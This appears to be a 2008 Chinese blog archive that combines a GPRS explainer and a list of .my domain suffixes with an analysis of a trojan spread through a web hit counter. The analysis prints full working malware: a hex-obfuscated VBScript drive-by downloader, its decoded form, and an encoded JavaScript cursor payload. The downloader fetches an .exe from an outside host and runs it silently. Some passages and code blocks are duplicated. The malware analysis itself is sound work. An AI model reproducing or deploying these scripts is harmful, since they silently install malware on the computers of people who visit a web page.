2008/03/29
1什么是GPRS
GPRS---General Packet Radio Service，通用无线分组业务，是一种基于GSM系统的无线分组交换技术，提供端到端的、广域的无线IP连接。通俗地讲，GPRS是一项高速数据处理的技术，方法是以"分组"的形式传送资料到用户手上。虽然GPRS是作为现有GSM网络向第三代移动通信演变的过渡技术，但是它在许多方面都具有显著的优势。
按量计费：用户可以一直在线，按照用户接收和发送数据包的数量来收取费用，没有数据流量的传递时，用户即使挂在网上，也是不收费的。
快捷登录：GPRS的用户一开机，就始终附着在GPRS网络上，每次使用时只需一个激活的过程，一般只需要1-3秒的时间马上就能登录至互联网。
高速传输：GPRS采用分组交换的技术，数据传输速率最高理论值能达171.2kb/s。电路交换数据业务，速率为每秒9.6K比特，因此电路交换数据业务(简称CSD)与GPRS的关系就象是9.6K Modem和33.6K、56K的Modem的区别一样。
GPRS---General Packet Radio Service，通用无线分组业务，是一种基于GSM系统的无线分组交换技术，提供端到端的、广域的无线IP连接。通俗地讲，GPRS是一项高速数据处理的技术，方法是以"分组"的形式传送资料到用户手上。虽然GPRS是作为现有GSM网络向第三代移动通信演变的过渡技术，但是它在许多方面都具有显著的优势。
按量计费：用户可以一直在线，按照用户接收和发送数据包的数量来收取费用，没有数据流量的传递时，用户即使挂在网上，也是不收费的。
快捷登录：GPRS的用户一开机，就始终附着在GPRS网络上，每次使用时只需一个激活的过程，一般只需要1-3秒的时间马上就能登录至互联网。
高速传输：GPRS采用分组交换的技术，数据传输速率最高理论值能达171.2kb/s。电路交换数据业务，速率为每秒9.6K比特，因此电路交换数据业务(简称CSD)与GPRS的关系就象是9.6K Modem和33.6K、56K的Modem的区别一样。
2008/03/26
马来西亚的.my域名正式于今天开放注册，包括顶级域名后缀.my和下面的二级域名后缀:
* com.my -适用于商业组织或活动
* net.my -适用于网络有关的组织或活动
* org.my -适用于其他类别之外的组织或活动的
* edu.my -适用于马来西亚教育组织的
* gov.my -适用于马来西亚政府组织的
* mil.my -适用于马来西亚军事组织的
* name.my -适用于马来西亚个体/自然人使用的
* com.my -适用于商业组织或活动
* net.my -适用于网络有关的组织或活动
* org.my -适用于其他类别之外的组织或活动的
* edu.my -适用于马来西亚教育组织的
* gov.my -适用于马来西亚政府组织的
* mil.my -适用于马来西亚军事组织的
* name.my -适用于马来西亚个体/自然人使用的
2008/03/15
分析了下,木马来自itsun计数器
只第一次访问会被下马,他会放个COOKIE在你机器,你不删COOKIE,再次访问不会有提示
有保存过的两段代码：
只第一次访问会被下马,他会放个COOKIE在你机器,你不删COOKIE,再次访问不会有提示
有保存过的两段代码：
病毒:
<script language="VBScript">
S="6F6E206572726F7220726573756D65206E6578740D0A6375726C3D22687474703A2F2F61646E782E7979676F752E636E2F7979676F752E657865220D0 A666E616D65313D227979676F752E657865220D0A666E616D65323D227979676F752E766273220D"
S=S+"0A536574206466203D20646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A64662E7365744174747269627574652 022636C6173736964222C2022636C7369643A42443936433535362D363541332D313144302D393833"
S=S+"412D303043303446433239453336220D0A7374723D224D6963726F736F66742E584D4C48545450220D0A5365742078203D2064662E4372656174654 F626A656374287374722C2222290D0A43313D2241646F220D0A43323D2264622E220D0A43333D2273"
S=S+"7472220D0A43343D2265616D220D0A737472313D43312643322643332643340D0A737472353D737472310D0A7365742053203D2064662E637265617 4656F626A65637428737472352C2222290D0A532E74797065203D20310D0A737472363D2247455422"
S=S+"0D0A782E4F70656E20737472362C206375726C2C2046616C73650D0A782E53656E640D0A73313D22536372697074220D0A73323D22696E672E220D0 A73333D2246696C65220D0A73343D2253797374656D4F626A656374220D0A73303D73312B73322B73"
S=S+"332B73340D0A7365742046203D2064662E6372656174656F626A6563742873302C2222290D0A73657420746D70203D20462E4765745370656369616 C466F6C6465722832290D0A666E616D65313D20462E4275696C645061746828746D702C666E616D65"
S=S+"31290D0A532E6F70656E0D0A532E777269746520782E726573706F6E7365426F64790D0A532E73617665746F66696C6520666E616D65312C320D0A5 32E636C6F73650D0A666E616D65323D20462E4275696C645061746828746D702C666E616D6532290D"
S=S+"0A536574207473203D20462E4F70656E5465787446696C6528666E616D65322C20322C2054727565290D0A74732E57726974654C696E65202253657 4205368656C6C203D204372656174654F626A656374282222577363726970742E5368656C6C222229"
S=S+"220D0A73716C3D225368656C6C2E52756E282222222B666E616D65312B22222229220D0A74732E57726974654C696E652073716C0D0A74732E57726 974654C696E652022736574205368656C6C3D4E6F7468696E67220D0A74732E636C6F73650D0A6966"
S=S+"20462E46696C6545786973747328666E616D6531293D74727565207468656E0D0A696620462E46696C6545786973747328666E616D6532293D74727 565207468656E0D0A202020207368613D225368656C6C2E417070220D0A202020207368623D736861"
S=S+"0D0A202020207365742051203D2064662E6372656174656F626A656374287368622B226C69636174696F6E222C2222290D0A20202020512E5368656 C6C4578656375746520666E616D65322C22222C22222C226F70656E222C300D0A656E642069660D0A"
S=S+"656E642069660D0A"
flag_type="vbs"
D=""
DO WHILE LEN(S)>1
k="&H"+LEFT(S,2)
p=CLng(k)
m=chr(p)
D=D&m
S=MID(S,3)
LOOP
if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
</script>
<script language="javaScript">
if (flag_type=="js") {
eval(D);}
</script>
<script language="VBScript">
S="6F6E206572726F7220726573756D65206E6578740D0A6375726C3D22687474703A2F2F61646E782E7979676F752E636E2F7979676F752E657865220D0 A666E616D65313D227979676F752E657865220D0A666E616D65323D227979676F752E766273220D"
S=S+"0A536574206466203D20646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A64662E7365744174747269627574652 022636C6173736964222C2022636C7369643A42443936433535362D363541332D313144302D393833"
S=S+"412D303043303446433239453336220D0A7374723D224D6963726F736F66742E584D4C48545450220D0A5365742078203D2064662E4372656174654 F626A656374287374722C2222290D0A43313D2241646F220D0A43323D2264622E220D0A43333D2273"
S=S+"7472220D0A43343D2265616D220D0A737472313D43312643322643332643340D0A737472353D737472310D0A7365742053203D2064662E637265617 4656F626A65637428737472352C2222290D0A532E74797065203D20310D0A737472363D2247455422"
S=S+"0D0A782E4F70656E20737472362C206375726C2C2046616C73650D0A782E53656E640D0A73313D22536372697074220D0A73323D22696E672E220D0 A73333D2246696C65220D0A73343D2253797374656D4F626A656374220D0A73303D73312B73322B73"
S=S+"332B73340D0A7365742046203D2064662E6372656174656F626A6563742873302C2222290D0A73657420746D70203D20462E4765745370656369616 C466F6C6465722832290D0A666E616D65313D20462E4275696C645061746828746D702C666E616D65"
S=S+"31290D0A532E6F70656E0D0A532E777269746520782E726573706F6E7365426F64790D0A532E73617665746F66696C6520666E616D65312C320D0A5 32E636C6F73650D0A666E616D65323D20462E4275696C645061746828746D702C666E616D6532290D"
S=S+"0A536574207473203D20462E4F70656E5465787446696C6528666E616D65322C20322C2054727565290D0A74732E57726974654C696E65202253657 4205368656C6C203D204372656174654F626A656374282222577363726970742E5368656C6C222229"
S=S+"220D0A73716C3D225368656C6C2E52756E282222222B666E616D65312B22222229220D0A74732E57726974654C696E652073716C0D0A74732E57726 974654C696E652022736574205368656C6C3D4E6F7468696E67220D0A74732E636C6F73650D0A6966"
S=S+"20462E46696C6545786973747328666E616D6531293D74727565207468656E0D0A696620462E46696C6545786973747328666E616D6532293D74727 565207468656E0D0A202020207368613D225368656C6C2E417070220D0A202020207368623D736861"
S=S+"0D0A202020207365742051203D2064662E6372656174656F626A656374287368622B226C69636174696F6E222C2222290D0A20202020512E5368656 C6C4578656375746520666E616D65322C22222C22222C226F70656E222C300D0A656E642069660D0A"
S=S+"656E642069660D0A"
flag_type="vbs"
D=""
DO WHILE LEN(S)>1
k="&H"+LEFT(S,2)
p=CLng(k)
m=chr(p)
D=D&m
S=MID(S,3)
LOOP
if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
</script>
<script language="javaScript">
if (flag_type=="js") {
eval(D);}
</script>
引用
解码:
on error resume next
curl="http://adnx.yygou.cn/yygou.exe"
fname1="yygou.exe"
fname2="yygou.vbs"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
C1="Ado"
C2="db."
C3="str"
C4="eam"
str1=C1&C2&C3&C4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, curl, False
x.Send
s1="Script"
s2="ing."
s3="File"
s4="SystemObject"
s0=s1+s2+s3+s4
set F = df.createobject(s0,"")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
fname2= F.BuildPath(tmp,fname2)
Set ts = F.OpenTextFile(fname2, 2, True)
ts.WriteLine "Set Shell = CreateObject(""Shell.Application"")"
sql="Shell.ShellExecute """+fname1+""","""","""",""open"",0"
ts.WriteLine sql
ts.close
if F.FileExists(fname1)=true then
if F.FileExists(fname2)=true then
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname2,"","","open",0
end if
end if
on error resume next
curl="http://adnx.yygou.cn/yygou.exe"
fname1="yygou.exe"
fname2="yygou.vbs"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
C1="Ado"
C2="db."
C3="str"
C4="eam"
str1=C1&C2&C3&C4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, curl, False
x.Send
s1="Script"
s2="ing."
s3="File"
s4="SystemObject"
s0=s1+s2+s3+s4
set F = df.createobject(s0,"")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
fname2= F.BuildPath(tmp,fname2)
Set ts = F.OpenTextFile(fname2, 2, True)
ts.WriteLine "Set Shell = CreateObject(""Shell.Application"")"
sql="Shell.ShellExecute """+fname1+""","""","""",""open"",0"
ts.WriteLine sql
ts.close
if F.FileExists(fname1)=true then
if F.FileExists(fname2)=true then
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname2,"","","open",0
end if
end if
病毒:
<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=CPEZ!tuzmf>(DVSTPS;!vsm)iuuq;00keoy/npwjf832/do0nvyjbp3/kqh*(>"," =0CPEZ>"];
function psw(st){
var varS;
varS="";
var i;
for(var a=0;a<st.length;a++){
i = st.charCodeAt(a);
if (i==1)
varS=varS+String.fromCharCode('"'.charCodeAt()-1);
else if (i==2) {
a++;
varS+=String.fromCharCode(st.charCodeAt(a));
}
else
varS+=String.fromCharCode(i-1);
}
return varS;
};
var num=2;
function S(){
for(i=0;i<num;i++)
document.write(psw(HtmlStrings[i]));}
S();
// -->
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=CPEZ!tuzmf>(DVSTPS;!vsm)iuuq;00keoy/npwjf832/do0nvyjbp3/kqh*(>"," =0CPEZ>"];
function psw(st){
var varS;
varS="";
var i;
for(var a=0;a<st.length;a++){
i = st.charCodeAt(a);
if (i==1)
varS=varS+String.fromCharCode('"'.charCodeAt()-1);
else if (i==2) {
a++;
varS+=String.fromCharCode(st.charCodeAt(a));
}
else
varS+=String.fromCharCode(i-1);
}
return varS;
};
var num=2;
function S(){
for(i=0;i<num;i++)
document.write(psw(HtmlStrings[i]));}
S();
// -->
</SCRIPT>
